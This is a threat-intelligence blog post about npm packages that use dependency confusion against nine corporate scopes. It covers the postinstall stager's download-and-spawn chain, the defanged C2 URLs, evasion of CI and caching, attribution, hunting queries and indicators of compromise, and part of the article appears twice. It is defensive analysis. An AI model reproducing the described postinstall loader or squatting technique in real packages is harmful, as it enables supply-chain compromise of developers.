On May 28 and May 29, 2026, a threat actor operating under three maintainer aliases mr.4nd3r50n (mr.4nd3r50n@yandex[.]ru), ce-rwb (ogvanta@yandex[.]ru), and t-in-one (t-in-one@yandex[.]ru) published malicious packages across two publishing bursts. The packages impersonate internal corporate packages across nine different organizational scopes using a dependency confusion technique, and several spoof internal enterprise infrastructure URLs (GitHub Enterprise, Jira, documentation portals) in their package.json to appear legitimate. Once installed, the packages download and execute an obfuscated reconnaissance payload from an attacker-controlled command-and-control (C2) server.

All packages in the cluster ship the same heavily obfuscated postinstall stager and connect to the same C2 endpoint, a ~17 KB JavaScript dropper used for for environment fingerprinting and credential reconnaissance. The payload runs silently during npm install and operates in  “reconnaissance-only” mode, collecting system information, hostnames, environment variables, and developer context. The architecture includes a RECON_ONLY flag that can be toggled server-side for full exploitation in follow-on attacks. Based on our investigation and feedback to the npm team these repos and users were taken down.

Key capabilities observed in the campaign include automatic execution through npm lifecycle hooks, obfuscator.io-style anti-analysis techniques, platform-specific payload delivery (Windows, macOS, Linux), continuous integration and continuous delivery (CI/CD) environment detection and bypass, cache-based deduplication to evade repeated-execution monitoring, and a two-phase attack design (reconnaissance now, exploitation later).

Attack chain overview

 The campaign spans dozens of scoped packages published under three npm maintainer accounts that our forensic analysis attributes to a single operator (detailed in the Attribution section below). The attack proceeds through:

  • Publication of dependency confusion packages under three actor identities across nine organizational scopes
  • Automatic payload execution through a postinstall hook during npm install
  • Execution chain: npm installpostinstallscripts/postinstall.js (obfuscated) → HTTPS GET to C2 → write payload to tmpdir → spawn detached process
  • Environment reconnaissance with credentials and context exfiltration using environment variables passed to the spawned payload
Figure 1. Dependency confusion attack flow.

The lure: Dependency confusion and spoofed internal metadata

The actor adopted three social-engineering techniques designed to drive installs through misconfigured package managers or developer trust transference:

Namespace squatting

The  attacker registered packages under organizational scopes that mirror real internal corporate namespaces: @cloudplatform-single-spa, @wb-track, @data-science, @ce-rwb, @payments-widget, @travel-autotests, @t-in-one, @capibar.chat, and @sber-ecom-core. Package names like svp-baas, enterprise, monitoring, ssh-keys, shared-front, payments-widget-sdk, add_application_service_token, ui-kit, and sberpay-widget target specific internal services — the last of which directly impersonates Sberbank’s SberPay payment widget.

Spoofed enterprise metadata

Every package sets its package.json homepage, repository, bugs, and author fields to fabricated but realistic-looking internal infrastructure URLs. For example:

  • Repository: git+https://github[.]cloudplatform-single-spa[.]io/platform/svp-baas.git
  • Homepage: https://docs[.]cloudplatform-single-spa[.]io/platform/svp-baas
  • Bugs: https://jira[.]cloudplatform-single-spa[.]io/projects/PLATFORM
  • Author: Cloudplatform-Single-Spa Platform Engineering <platform@cloudplatform-single-spa[.]io>

These URLs follow the pattern of enterprise GitHub, Jira, and documentation portals, lending an air of legitimacy designed to evade casual inspection during code review.

Inflated version numbers

 mr.4nd3r50n uses version 100.100.100, an absurdly high version number designed to win npm’s server resolution against any real internal package version. ce-rwb uses a more realistic 3.5.22 to blend in with legitimate release histories. t-in-one mixes both tactics: the ten @t-in-one packages ship at 5.7.1, while @capibar.chat/ui-kit (99.5.7) and @sber-ecom-core/sberpay-widget (99.5.8) use inflated numbers — and both of the latter scopes were pre-staged with 99.0.7 releases on 2026-05-04, weeks before the main bursts.

Figure 2. The malicious package.json. The postinstall hook gains code execution on every npm install. Version 100.100.100 ensures the malicious package wins dependency resolution over any real internal version.

Execution: npm lifecycle hook abuse

Every package in the cluster declares an automatic install-time hook in package.json:

"scripts": {
    "build": "tsc --noEmit || true",
    "test": "node test/index.test.js",
    "postinstall": "node scripts/postinstall.js",
    "prepublishOnly": "echo 'Building...'"
}

The malicious code executes the moment a victim runs npm install; no require() from victim code is needed. The build and test scripts are cosmetic, designed to make the package appear to have a legitimate development workflow.

Stager: Obfuscated JavaScript dropper

scripts/postinstall.js is approximately 7 KB of heavily obfuscated JavaScript using obfuscator.io-style techniques:

  • String array encoding: All meaningful strings (URLs, function names, environment variable keys) are stored in a rotated array and decoded at runtime through a custom Base64 variant
  • Control flow flattening: Logic branches are obscured through computed dispatch tables
  • Dead code injection: Anti-analysis noise makes manual review prohibitively time-consuming
  • Self-defending code: Anti-tampering checks detect modifications to the obfuscated code
Figure 3. Obfuscated postinstall.js. After deobfuscation, the payload reveals the C2 URL, platform detection logic, and file-drop/spawn execution pattern.

Execution flow: from npm install to detached payload

The deobfuscated execution flow proceeds through eight distinct stages:

  1. CI detection bypass: The stager checks for the CI environment variable (or scope-specific equivalents like CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY). If detected, execution silently aborts. This avoids triggering alerts in monitored CI/CD pipelines where security tooling is more likely to detect anomalous behavior.
  2. Node.js version validation: The stager verifies process.versions.node >= 16.0. Older Node.js versions are skipped, likely because the payload depends on modern APIs.
  3. Cache deduplication: A cache directory is created at ~/.cache/<scope>_init/ (for example, ~/.cache/._cloudplatform-single-spa_init/). The stager generates a hash key from the package name, version, and project root path. If a cache entry exists and hasn’t expired, the stager exits. This prevents the payload from re-running on every npm install in the same project, reducing the chance of detection through repeated network connections.
  4. Project root detection: The stager walks up the directory tree from process.cwd() looking for package.json, yarn.lock, or .git to identify the project root. This context is incorporated into the cache key and passed to the payload.
  5. Platform detection: os.platform() determines the target OS variant (win32win, darwinmac, defaultlinux).
  6. Payload download: An HTTPS GET request is made to the C2 server at https://oob.moika[.]tech/payload/<platform> with a 30-second timeout. The response is a binary payload.
  7. Payload drop: The downloaded binary is written to os.tmpdir() as a .js file (for example, /tmp/._cloudplatform-single-spa_init.js).
  8. Detached execution: Payload spawned as an independent background process with .unref() to outlive npm install.
Figure 4. Detailed execution chain from npm install trigger through CI detection, caching, C2 download, to detached background process spawn.

Reconnaissance mode and two-phase design

The environment variables passed to the spawned payload reveal a deliberate two-phase attack architecture:

VariablePurpose
*_RECON_ONLYSet to “1” by default; limits payload to reconnaissance
*_PKGIdentifies which internal package triggered the execution
*_VERPackage version for campaign tracking
*_SECRETHard-coded authentication token for C2 communication 

The RECON_ONLY flag is hard-coded to “1” in the current campaign, indicating the attacker is in Reconnaissance  — collecting environment information, hostnames, installed packages, and developer context. The architecture supports a Full exploitation mode where the flag can be toggled server-side to enable data exfiltration, credential theft, or backdoor installation on previously fingerprinted targets.

This two-phase design is sophisticated: it minimizes the risk of detection during initial deployment while building a target inventory for selective, high-value exploitation later.

Threat actor attribution

Forensic analysis of npm registry metadata across every package in the cluster provides high-confidence evidence that the three accounts (mr.4nd3r50n, ce-rwb, and t-in-one) are operated by the same individual. The single strongest piece of evidence is a shared hardcoded authentication value, l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1, sent as the X-Secret HTTP header on every outbound C2 request from every package in all three accounts.

Figure 5. Side-by-side forensic comparison of the two actor accounts. Every measurable property matches or is nearly identical, providing high-confidence single-operator attribution.

Identical C2 infrastructure

Both accounts’ payloads connect to the exact same C2 server: https://oob.moika[.]tech/payload. Sharing offensive infrastructure across “separate” personas is the strongest single indicator of a single operator. Maintaining separate C2 servers would be trivial, so using the same one indicates the shared infrastructure supports our assessment that the activity is associated with a single operator.

Same publishing toolchain

 mr.4nd3r50n’s early versions (v99.99.99) were published with Node.js 20.20.1 / npm 10.8.2. ce-rwb’s packages were published with Node.js 20.20.0 / npm 10.8.2. t-in-one’s @t-in-one packages were published with Node.js 20.20.1 / npm 10.8.2 — matching mr.4nd3r50n exactly. The minor variance across the three accounts suggests the same machine at slightly different patch levels, or a small set of machines configured from the same provisioning script.

Identical package template generator

Both actors use the exact same templating system for generating fake package metadata:

  • Author: “<Scope-Name> Platform Engineering” <platform@<scope>.io>
  • Repository: git+https://github.<scope>.io/platform/<pkg>.git
  • Documentation: https://docs.<scope>.io/platform/<pkg>
  • Issue tracker: https://jira.<scope>.io/projects/PLATFORM
  • README: Identical structure including a fake “Telemetry” disclaimer and the same changelog entries (“Added ARM64 support”, “Improved error handling”, “Updated TypeScript types”)

 This level of template consistency, down to identical changelog entries across every package, including the @t-in-one README that points developers at a fabricated internal registry at npm.t-in-one[.]io with matching docs.t-in-one[.]io and jira.t-in-one[.]io references — indicates a single automated package generator.

Temporal correlation: 12-minute gap

 mr.4nd3r50n published 26 packages between 18:47–18:51 UTC on May 28. ce-rwb published 7 packages between 19:02–19:03 UTC on May 28 — a 12-minute gap consistent with one person completing one publishing batch, switching npm accounts, and starting the next. t-in-one returned the following day, publishing 10 @t-in-one packages between 09:01:56 and 09:02:39 UTC on May 29 (a 43-second automated burst), with the @capibar.chat and @sber-ecom-core republishes following minutes later. The ~14-hour overnight gap between ce-rwb and t-in-one, paired with the unchanged C2 host and identical X-Secret, indicates the same operator returning to expand the campaign rather than a separate group.

Bug bounty to malware pipeline

The @cloudplatform-single-spa/logaas package reveals a critical piece of the actor’s history:

Figure 7. The actor’s evolution from bug bounty researcher (April 2024) to hosting malware (May 2026), with a ~2 year gap between phases.
  • v0.0.0 (April 10, 2024): Published with keywords [“Bugbounty”, “mr4nd3r50n”] and description “BugBounty testing by mr4nd3r50n” using Node.js 21.7.1 / npm 10.5.0
  • v99.99.99 (June 5, 2024): Same bug bounty markers, same toolchain
  • v99.99.100 (May 28, 2026, 18:47 UTC): First appearance of the malicious obfuscated payload, upgraded to Node.js 24.8.0 / npm 11.6.0
  • v100.100.100 (May 28, 2026, 18:50 UTC): Final malicious version

This timeline shows mr.4nd3r50n began as a  bug bounty researcher probing npm dependency confusion in April 2024 followed by the malicious packages observed in this campaign.y approximately two years later. The ce-rwb account has no prior publishing history, suggesting it was created specifically for the May 2026 campaign as a secondary persona to broaden the attack surface across additional organizational scopes.

Affected packages

mr.4nd3r50n — 26 packages (all version 100.100.100)

All packages use the scope @cloudplatform-single-spa:

PackageDescription
svp-baasDatabase/Backend-as-a-Service
enterpriseEnterprise platform
vpnVPN service
monitoringMonitoring platform
dataplatform-trinoTrino data platform
marketplace-gigachatGigaChat marketplace
supportSupport tools
svp-s3-storageS3 storage service
ml-ai-agents-agentML/AI agents
ssh-keysSSH key management
security-groupsSecurity groups
employeesEmployee directory
cp-api-gwAPI gateway
base-static-pageStatic page framework
administrationAdministration panel
ml-ai-agents-agent-systemAI agent system
arenadata-dbArenaData database
business-solutionsBusiness solutions
dataplatform-metastoreData metastore
cloud-dnsCloud DNS
dataplatformData platform
datagridData grid
floating-ipsFloating IP management
cnapp-uiCNAPP security UI
svp-interfacesSVP interfaces
logaasLogging-as-a-Service

ce-rwb — 7 packages (all version 3.5.22)

PackageScope Targeted
@wb-track/shared-frontWB-Track (warehouse/logistics tracking)
@data-science/llmData Science / LLM platform
@ce-rwb/ce-tools-editor-adminCE-RWB internal editor tools
@ce-rwb/ce-tools-editor-renderCE-RWB internal editor tools
@ce-rwb/ce-tools-editor-coreCE-RWB internal editor tools
@payments-widget/payments-widget-sdkPayments processing SDK
@travel-autotests/npm-protoTravel platform test protobuf

t-in-one — 12 packages (May 29 wave)

t-in-one returned on May 29 with a third npm account, t-in-one (t-in-one@yandex[.]ru), and expanded the campaign across three previously unused scopes. The ten @t-in-one package names are deliberately credential- and token-themed so they read as internal auth modules; @capibar.chat/ui-kit is a textbook dependency confusion artifact against an internal UI kit; and @sber-ecom-core/sberpay-widget directly impersonates Sberbank’s SberPay payment widget — making the campaign’s financial-sector targeting explicit. Unlike the May 28 wave, the May 29 stager ships a three-layer-obfuscated postinstall (~13 KB) and adds a functional T_IN_ONE_NO_TELEMETRY kill switch and a run-once marker directory at ~/.cache/._t-in-one_init/. The C2 host, payload endpoints, and hardcoded X-Secret value are identical to the May 28 wave.

PackageScope Targeted
@t-in-one/add_applicationT-in-one — credential/auth module
@t-in-one/add_app_middleware_tokenT-in-one — credential/auth module
@t-in-one/get_application_hidT-in-one — credential/auth module
@t-in-one/form_product_tokenT-in-one — credential/auth module
@t-in-one/application_id_storage_key_tokenT-in-one — credential/auth module
@t-in-one/only_difference_payloadT-in-one — credential/auth module
@t-in-one/prefill_credit_data_tokenT-in-one — credential/auth module
@t-in-one/prefill_bundle_data_tokenT-in-one — credential/auth module
@t-in-one/add_application_tidT-in-one — credential/auth module
@t-in-one/add_application_service_tokenT-in-one — credential/auth module
@capibar.chat/ui-kitCapibar Chat — internal UI kit
@sber-ecom-core/sberpay-widgetSberbank — impersonation of SberPay payment widget

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

  • Review dependency trees for direct or transitive usage of any of the nine affected scoped packages (@cloudplatform-single-spa, @wb-track, @data-science, @ce-rwb, @payments-widget, @travel-autotests, @t-in-one, @capibar.chat, @sber-ecom-core).
  • Identify systems that installed or built any of the affected package versions on or after May 28, 2026, including the pre-staged @capibar.chat/ui-kit 99.0.7 and @sber-ecom-core/sberpay-widget 99.0.7 releases from 2026-05-04.
  • Pin known-good package versions where possible and avoid automatic dependency upgrades for the affected scopes until validation is complete.
  • Disable pre- and post-installation script execution by ensuring you run npm install with –ignore-scripts (or by setting npm config set ignore-scripts true globally).
  • Rotate credentials, tokens, npm access tokens, CI/CD secrets, and cloud credentials that might have been exposed on affected developer workstations or CI/CD runners.
  • Scope-lock internal npm registries by configuring .npmrc so that all nine targeted scopes resolve exclusively to your private registry and never fall back to the public npm registry.
  • Block egress to oob.moika[.]tech and the lure domains npm.t-in-one[.]io, docs.t-in-one[.]io, and jira.t-in-one[.]io at proxy, firewall, and DNS layers.
  • Audit CI/CD logs for unexpected outbound network connections, script execution, or suspicious package lifecycle activity tied to the affected scopes.
  • Review npm package lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml), build logs, and artifact provenance for evidence of compromised package versions.
  • Audit ~/.cache/ directories and os.tmpdir() for dropped .js payloads matching the pattern ._<scope>_init.js (e.g., ._cloudplatform-single-spa_init.js, ._wb-track_init.js, ._t-in-one_init.js) and the run-once marker directory ~/.cache/._t-in-one_init/.
  • Hunt for outbound HTTP requests carrying the header value X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1 — its presence is a high-fidelity indicator of compromise across all three operator accounts.
  • Enable cloud-delivered protection in Microsoft Defender Antivirus or equivalent antivirus protection.
  • Use Microsoft Defender XDR to investigate suspicious activity across endpoints, identities, cloud apps, and developer environments.
  • Use Microsoft Defender Vulnerability Management to search for affected scoped packages across your estate.

How Microsoft Defender helps

Microsoft Defender Antivirus detects and blocks the obfuscated postinstall stager and the detached recon payload on access. During reproduction in our analysis environment, the dropped ._<scope>_init.js stager was automatically quarantined the moment the package tarball was extracted to disk, preventing the C2 beacon to oob.moika[.]tech and blocking the platform-specific second-stage download. Microsoft Defender for Endpoint provides additional behavior-based coverage for the npm lifecycle script-abuse and detached child-process patterns observed in this campaign.

Microsoft Defender XDR Detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

TacticObserved activityMicrosoft Defender coverage
ExecutionSuspicious script execution during npm install or package lifecycle activity tied to the affected scopesMicrosoft Defender Antivirus
– Trojan:JS/ObfusNpmJs.SA  

Microsoft Defender for Endpoint
– Suspicious Node.js process behavior
– Suspicious detached child process spawned with windowsHide=true
– Suspicious file creation in temporary directory by Node.js binary
Defense EvasionThree-layer-obfuscated postinstall.js (obfuscator.io + custom base64 + integer-shuffle string table) and install-time kill switch (T_IN_ONE_NO_TELEMETRY)Microsoft Defender Antivirus
– Trojan:JS/ObfusNpmJs  

Microsoft Defender for Endpoint
– Suspicious obfuscated JavaScript execution – Anomalous environment variable usage in npm lifecycle script
Credential AccessReconnaissance and potential harvesting of environment variables, tokens, and developer secrets via the detached payloadMicrosoft Defender for Endpoint
– Credential access attempt
– Suspicious cloud credential access by npm-spawned process
– Environment variable enumeration indicative of credential access  

Microsoft Defender for Cloud
– Possible command injection to exfiltrate credentials from a build pipeline
Command and ControlOutbound HTTPS connections from build systems or developer machines to oob.moika[.]tech carrying the hardcoded X-Secret headerMicrosoft Defender for Endpoint
– Connection to a custom network indicator
– Suspicious outbound connection from Node.js process to low-reputation domain
PersistenceRun-once marker directory at ~/.cache/._t-in-one_init/ and ._<scope>_init.js payloads dropped in os.tmpdir() and launched with detached: trueMicrosoft Defender for Endpoint
– Suspicious persistence file creation in user cache directory
– Detached Node.js process surviving parent npm install exit

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Microsoft Defender XDR Threat analytics

Microsoft Defender XDR customers can reference the Threat analytics report for this campaign in the Microsoft Defender portal at https://security.microsoft.com/threatanalytics3 for the latest indicators, recommended actions, and mitigation status across their estate.

Advanced hunting

The following sample queries let you search for a week’s worth of events. To explore up to 30 days of raw data, go to the Advanced Hunting page > Query tab, and update the time range to Last 30 days.

Hunt for suspicious npm lifecycle script execution involving the affected scopes.

Searches for Node.js and npm activity involving install lifecycle behavior and references to the nine affected scoped packages.

DeviceProcessEvents
 | where FileName in~ ("node.exe", "npm.cmd", "npm.exe", "npx.cmd", "npx.exe")
 | where ProcessCommandLine has_any ("preinstall", "postinstall", "install")
 | where ProcessCommandLine has_any (
     "@cloudplatform-single-spa", "@wb-track", "@data-science",
     "@ce-rwb", "@payments-widget", "@travel-autotests",
     "@t-in-one", "@capibar.chat", "@sber-ecom-core")
 | project Timestamp, DeviceName, FileName, ProcessCommandLine,
           InitiatingProcessFileName, InitiatingProcessCommandLine,
           AccountName

Hunt for affected package versions in software inventory.

Searches device software inventory for any installed packages from the affected scopes.

DeviceTvmSoftwareInventory
 | where SoftwareName has_any (
     "cloudplatform-single-spa", "wb-track", "data-science",
     "ce-rwb", "payments-widget", "travel-autotests",
     "t-in-one", "capibar.chat", "sber-ecom-core")
 | project DeviceName, OSPlatform, SoftwareVendor, SoftwareName,
           SoftwareVersion

Hunt for outbound C2 activity to oob.moika[.]tech.

Searches for any device network connection to the campaign C2 host.

DeviceNetworkEvents
 | where Timestamp > ago(7d)
 | where RemoteUrl has "oob.moika.tech"
    or RemoteUrl has_any ("npm.t-in-one.io", "docs.t-in-one.io",
                          "jira.t-in-one.io")
 | project Timestamp, DeviceName, RemoteUrl, RemoteIP, RemotePort,
           InitiatingProcessFileName, InitiatingProcessCommandLine,
           AccountName

Hunt for suspicious outbound activity from Node.js processes.

Searches for network connections initiated by Node.js or npm processes referencing the affected scopes or node_modules paths.

DeviceNetworkEvents
 | where InitiatingProcessFileName in~ ("node.exe", "npm.exe", "npx.exe")
 | where InitiatingProcessCommandLine has_any (
     "@cloudplatform-single-spa", "@wb-track", "@data-science",
     "@ce-rwb", "@payments-widget", "@travel-autotests",
     "@t-in-one", "@capibar.chat", "@sber-ecom-core", "node_modules")
 | project Timestamp, DeviceName, RemoteUrl, RemoteIP,
           InitiatingProcessFileName, InitiatingProcessCommandLine,
           AccountName

Hunt for dropped stager payloads in temp and cache directories.

Searches device file events for the ._<scope>_init.js payload pattern and the May 29 run-once marker directory.

DeviceFileEvents
 | where Timestamp > ago(7d)
 | where FileName matches regex @"^\._.*_init\.js$"
    or FolderPath has_any (
         ".cache/._cloudplatform-single-spa_init",
         ".cache/._wb-track_init",
         ".cache/._t-in-one_init")
 | project Timestamp, DeviceName, FolderPath, FileName, ActionType,
           InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for the campaign-wide X-Secret header in outbound HTTP traffic.

Searches for outbound web traffic carrying the hardcoded X-Secret value used by all three operator accounts (requires TLS decryption or proxy logging that captures request headers or bodies).

DeviceNetworkEvents
 | where Timestamp > ago(7d)
 | where AdditionalFields has "l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1"
    or RemoteUrl has "oob.moika.tech"
 | project Timestamp, DeviceName, RemoteUrl, RemoteIP, AdditionalFields,
           InitiatingProcessFileName, InitiatingProcessCommandLine

Hunt for affected dependency references in developer directories.

Searches for package manifest or lockfile activity referencing the affected scoped packages.

DeviceFileEvents
 | where FileName in~ ("package.json", "package-lock.json", "yarn.lock",
                       "pnpm-lock.yaml", ".npmrc")
 | where FolderPath has_any ("node_modules", "src", "repo", "workspace")
 | where AdditionalFields has_any (
     "@cloudplatform-single-spa", "@wb-track", "@data-science",
     "@ce-rwb", "@payments-widget", "@travel-autotests",
     "@t-in-one", "@capibar.chat", "@sber-ecom-core")
 | project Timestamp, DeviceName, FolderPath, FileName,
           InitiatingProcessFileName, InitiatingProcessCommandLine

Indicators of Compromise (IOC)

Actor and network IOCs

IndicatorTypeDescription
mr.4nd3r50nnpm maintainerThreat actor (mr.4nd3r50n) — 26 packages, May 28 wave
ce-rwbnpm maintainerThreat actor (ce-rwb) — 7 packages, May 28 wave
mr.4nd3r50n@yandex[.]ruEmailmr.4nd3r50n contact email
ogvanta@yandex[.]ruEmailce-rwb contact email
t-in-onenpm maintainerThreat actor (t-in-one) — 12 packages across @t-in-one, @capibar.chat, @sber-ecom-core, May 29 wave
t-in-one@yandex[.]ruEmailt-in-one contact email
l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1Shared secretHardcoded X-Secret HTTP header value sent on every outbound C2 request from all three accounts — single-operator attribution marker
npm.t-in-one[.]ioLure domainFabricated internal-registry hostname referenced in @t-in-one README to lend legitimacy
docs.t-in-one[.]io / jira.t-in-one[.]ioLure domainFabricated documentation and issue-tracker hostnames in @t-in-one package metadata
`oob.moika[.]tech`DomainC2 server for payload delivery
`https://oob.moika[.]tech/payload/win`URLWindows payload endpoint
`https://oob.moika[.]tech/payload/mac`URLmacOS payload endpoint
`https://oob.moika[.]tech/payload/linux`URLLinux payload endpoint

File and environment IOCs

IndicatorTypeDescription
`scripts/postinstall.js`FilenameObfuscated stager (~7 KB)
`._cloudplatform-single-spa_init.js`FilenameDropped payload in tmpdir
`._wb-track_init.js`FilenameDropped payload (ce-rwb variant)
`~/.cache/._cloudplatform-single-spa_init/`DirectoryCache/dedup directory
`~/.cache/._wb-track_init/`DirectoryCache/dedup directory (ce-rwb)
`*_RECON_ONLY=1`Env varReconnaissance mode flag
`*_PKG`Env varPackage name identifier
`*_VER`Env varPackage version identifier
`*_SECRET`Env varC2 authentication token
._t-in-one_init.jsFilenameDropped payload in tmpdir — t-in-one (May 29 wave)
~/.cache/._t-in-one_init/DirectoryRun-once marker directory used by the May 29 stager for per-host deduplication
T_IN_ONE_NO_TELEMETRYEnv varFunctional install-time kill switch honored by the May 29 obfuscated stager (the May 28 *_NO_TELEMETRY variables are README fiction only)
X-Secret: l95HdDaz3kQx1Zsg3WxH6HvKANf51RY1HTTP headerHardcoded authentication header sent on every outbound C2 request from all three accounts

References

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedInX (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

The post Malicious npm packages abuse dependency confusion to profile developer environments appeared first on Microsoft Security Blog.

Malicious npm packages abuse dependency confusion to profile developer environments

Microsoft Threat Intelligence has uncovered an active supply chain attack involving malicious npm packages registered under organizational scopes that mirror real internal corporate namespaces, employing dependency confusion technique to deploy an obfuscated reconnaissance payload.

On May 28 and May 29, 2026, a threat actor operating under three maintainer aliases mr.4nd3r50n (mr.4nd3r50n@yandex[.]ru), ce-rwb (ogvanta@yandex[.]ru), and t-in-one (t-in-one@yandex[.]ru) published malicious packages across two publishing bursts. The packages impersonate internal corporate packages across nine different organizational scopes using a dependency confusion technique, and several spoof internal enterprise infrastructure URLs (GitHub Enterprise, Jira, documentation portals) in their package.json to appear legitimate. Once installed, the packages download and execute an obfuscated reconnaissance payload from an attacker-controlled command-and-control (C2) server.

All packages in the cluster ship the same heavily obfuscated postinstall stager and connect to the same C2 endpoint, a ~17 KB JavaScript dropper used for for environment fingerprinting and credential reconnaissance. The payload runs silently during npm install and operates in  “reconnaissance-only” mode, collecting system information, hostnames, environment variables, and developer context. The architecture includes a RECON_ONLY flag that can be toggled server-side for full exploitation in follow-on attacks. Based on our investigation and feedback to the npm team these repos and users were taken down.

Key capabilities observed in the campaign include automatic execution through npm lifecycle hooks, obfuscator.io-style anti-analysis techniques, platform-specific payload delivery (Windows, macOS, Linux), continuous integration and continuous delivery (CI/CD) environment detection and bypass, cache-based deduplication to evade repeated-execution monitoring, and a two-phase attack design (reconnaissance now, exploitation later).

Attack chain overview

 The campaign spans dozens of scoped packages published under three npm maintainer accounts that our forensic analysis attributes to a single operator (detailed in the Attribution section below). The attack proceeds through:

  • Publication of dependency confusion packages under three actor identities across nine organizational scopes
  • Automatic payload execution through a postinstall hook during npm install
  • Execution chain: npm installpostinstallscripts/postinstall.js (obfuscated) → HTTPS GET to C2 → write payload to tmpdir → spawn detached process
  • Environment reconnaissance with credentials and context exfiltration using environment variables passed to the spawned payload
Figure 1. Dependency confusion attack flow.

The lure: Dependency confusion and spoofed internal metadata

The actor adopted three social-engineering techniques designed to drive installs through misconfigured package managers or developer trust transference:

Namespace squatting

The  attacker registered packages under organizational scopes that mirror real internal corporate namespaces: @cloudplatform-single-spa, @wb-track, @data-science, @ce-rwb, @payments-widget, @travel-autotests, @t-in-one, @capibar.chat, and @sber-ecom-core. Package names like svp-baas, enterprise, monitoring, ssh-keys, shared-front, payments-widget-sdk, add_application_service_token, ui-kit, and sberpay-widget target specific internal services — the last of which directly impersonates Sberbank’s SberPay payment widget.

Spoofed enterprise metadata

Every package sets its package.json homepage, repository, bugs, and author fields to fabricated but realistic-looking internal infrastructure URLs. For example:

  • Repository: git+https://github[.]cloudplatform-single-spa[.]io/platform/svp-baas.git
  • Homepage: https://docs[.]cloudplatform-single-spa[.]io/platform/svp-baas
  • Bugs: https://jira[.]cloudplatform-single-spa[.]io/projects/PLATFORM
  • Author: Cloudplatform-Single-Spa Platform Engineering <platform@cloudplatform-single-spa[.]io>

These URLs follow the pattern of enterprise GitHub, Jira, and documentation portals, lending an air of legitimacy designed to evade casual inspection during code review.

Inflated version numbers

 mr.4nd3r50n uses version 100.100.100, an absurdly high version number designed to win npm’s server resolution against any real internal package version. ce-rwb uses a more realistic 3.5.22 to blend in with legitimate release histories. t-in-one mixes both tactics: the ten @t-in-one packages ship at 5.7.1, while @capibar.chat/ui-kit (99.5.7) and @sber-ecom-core/sberpay-widget (99.5.8) use inflated numbers — and both of the latter scopes were pre-staged with 99.0.7 releases on 2026-05-04, weeks before the main bursts.

Figure 2. The malicious package.json. The postinstall hook gains code execution on every npm install. Version 100.100.100 ensures the malicious package wins dependency resolution over any real internal version.

Execution: npm lifecycle hook abuse

Every package in the cluster declares an automatic install-time hook in package.json:

"scripts": {
    "build": "tsc --noEmit || true",
    "test": "node test/index.test.js",
    "postinstall": "node scripts/postinstall.js",
    "prepublishOnly": "echo 'Building...'"
}

The malicious code executes the moment a victim runs npm install; no require() from victim code is needed. The build and test scripts are cosmetic, designed to make the package appear to have a legitimate development workflow.

Stager: Obfuscated JavaScript dropper

scripts/postinstall.js is approximately 7 KB of heavily obfuscated JavaScript using obfuscator.io-style techniques:

  • String array encoding: All meaningful strings (URLs, function names, environment variable keys) are stored in a rotated array and decoded at runtime through a custom Base64 variant
  • Control flow flattening: Logic branches are obscured through computed dispatch tables
  • Dead code injection: Anti-analysis noise makes manual review prohibitively time-consuming
  • Self-defending code: Anti-tampering checks detect modifications to the obfuscated code
Figure 3. Obfuscated postinstall.js. After deobfuscation, the payload reveals the C2 URL, platform detection logic, and file-drop/spawn execution pattern.

Execution flow: from npm install to detached payload

The deobfuscated execution flow proceeds through eight distinct stages:

  1. CI detection bypass: The stager checks for the CI environment variable (or scope-specific equivalents like CLOUDPLATFORM_SINGLE_SPA_NO_TELEMETRY). If detected, execution silently aborts. This avoids triggering alerts in monitored CI/CD pipelines where security tooling is more likely to detect anomalous behavior.
  2. Node.js version validation: The stager verifies process.versions.node >= 16.0. Older Node.js versions are skipped, likely because the payload depends on modern APIs.
  3. Cache deduplication: A cache directory is created at ~/.cache/<scope>_init/ (for example, ~/.cache/._cloudplatform-single-spa_init/). The stager generates a hash key from the package name, version, and project root path. If a cache entry exists and hasn’t expired, the stager exits. This prevents the payload from re-running on every npm install in the same project, reducing the chance of detection through repeated network connections.
  4. Project root detection: The stager walks up the directory tree from process.cwd() looking for package.json, yarn.lock, or .git to identify the project root. This context is incorporated into the cache key and passed to the payload.
  5. Platform detection: os.platform() determines the target OS variant (win32win, darwinmac, defaultlinux).
  6. Payload download: An HTTPS GET request is made to the C2 server at https://oob.moika[.]tech/payload/<platform> with a 30-second timeout. The response is a binary payload.
  7. Payload drop: The downloaded binary is written to os.tmpdir() as a .js file (for example, /tmp/._cloudplatform-single-spa_init.js).
  8. Detached execution: Payload spawned as an independent background process with .unref() to outlive npm install.
Figure 4. Detailed execution chain from npm install trigger through CI detection, caching, C2 download, to detached background process spawn.

Reconnaissance mode and two-phase design

The environment variables passed to the spawned payload reveal a deliberate two-phase attack architecture:

VariablePurpose
*_RECON_ONLYSet to “1” by default; limits payload to reconnaissance
*_PKGIdentifies which internal package triggered the execution
*_VERPackage version for campaign tracking
*_SECRETHard-coded authentication token for C2 communication 

